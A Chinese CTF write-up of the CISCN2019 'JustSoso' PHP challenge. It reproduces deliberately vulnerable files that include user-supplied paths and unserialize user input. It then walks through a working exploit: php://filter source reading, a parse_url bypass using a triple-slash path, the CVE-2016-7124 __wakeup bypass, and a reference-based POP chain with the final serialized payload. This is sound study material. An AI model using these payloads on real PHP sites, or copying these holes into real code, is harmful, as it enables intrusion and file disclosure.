[CISCN2019]JustSoso

起因是今天提到了前几天那道反序列化题目的时候,群友给了这道有着同样考点的题目。去了各个CTF平台上搜了一下发现没有现成的环境,就结合已有的WP简单复现了一下。

题目复现

PHP版本(可以执行CVE-2016-7124的版本):

  • PHP5 < 5.6.25
  • PHP7 < 7.0.10

目录下准备三个文件:index.php, hint.php, flag.php。下面是这些文件的内容:

<?php
# index.php
error_reporting(0);
$file = $_GET["file"];
$payload = $_GET["payload"];
if(!isset($file)){
    echo 'Missing parameter'.'<br>';
}
if(preg_match("/flag/",$file)){
    die('hack attacked!!!');
}
@include($file);
if(isset($payload)){
    $url = parse_url($_SERVER['REQUEST_URI']);
    parse_str($url['query'],$query);
    foreach($query as $value){
        if (preg_match("/flag/",$value)) {
            die('stop hacking!');
            exit();
        }
    }
    $payload = unserialize($payload);


}else{
    echo "Missing parameters";
}

?>
<!--index.php?file=xx.php-->
<!--hint.php-->
<?php
# hint.php
class Handle{
    private $handle;
    public function __wakeup(){
        foreach(get_object_vars($this) as $k => $v) {
            $this->$k = null;
        }
        echo "Waking up\n";
    }
    public function __construct($handle) {
        $this->handle = $handle;
    }
    public function __destruct(){
        $this->handle->getFlag();
    }
}

class Flag{
    public $file;
    public $token;
    public $token_flag;

    function __construct($file){
        $this->file = $file;
        $this->token_flag = $this->token = md5(rand(1,10000));
    }

    public function getFlag(){
        $this->token_flag = md5(rand(1,10000));
        if($this->token === $this->token_flag)
        {
            if(isset($this->file)){
                echo @highlight_file($this->file,true);
            }
        }
    }
}
?>
<?php
# flag.php
$flag = 'skyblu3{kilig_love_!!!}';
?>

题解

根据注释里的提示使用file参数对index.phphint.php源码进行读取:php://filter/read=convert.base64-encode/resource=index.php

?file=hint.phphint.php包含进来,因为file中不能出现flag,所以后面用反序列化读取flag.php

后面的考点涉及:parse_url解析漏洞、CVE-2016-7124 __wakeup绕过、PHP引用赋值。

首先是利用hint.php读取flag,方法是:

  • 修改序列化后类的属性数量绕过__wakeup,避免__wakeup中对$this->handle的覆盖。
  • $this->handle->token = &$this->handle->token_flag;建立一个引用,让$this->token_flag被赋值的时候同时也修改$this->token 的值,使得通过后面的判断。

构造pop链:

<?php
class Handle{
    private $handle;

    public function __construct()
    {
        $this->handle = new Flag('flag.php');
        $this->handle->token = &$this->handle->token_flag;
    }
}

class Flag{
    public $file;
    public $token;
    public $token_flag;

    function __construct($file){
        $this->file = $file;
    }
    
}
$h = new Handle();
echo serialize($h);
// O:6:"Handle":2:{s:14:"%00Handle%00handle";O:4:"Flag":3:{s:4:"file";s:8:"flag.php";s:5:"token";N;s:10:"token_flag";R:4;}}
?>

index.php中对传入参数的值也进行了检查,检查方式使用的是parse_url,这里用一个测试脚本简单了解下绕过的方式:

<?php
$url=parse_url($_SERVER['REQUEST_URI']);
var_dump($url);
parse_str($url['query'],$query);
var_dump($query);
foreach($query as $value){
    echo $value."\n";
}
var_dump($_GET);

请求url:http://localhost:8888/binx/justsoso/test.php?id=1&user=admin&passwd=123456

在请求的路径前加上//绕过:http://localhost:8888///binx/justsoso/test.php?id=1&user=admin&passwd=123456

有了这些之后,上面的题目也就迎刃而解。最后的payload:?file=hint.php&payload=O:6:"Handle":2:{s:14:"%00Handle%00handle";O:4:"Flag":3:{s:4:"file";s:8:"flag.php";s:5:"token";N;s:10:"token_flag";R:4;}}

参考链接

parse_url函数小记
2019全国大学生信息安全竞赛 web JustSoso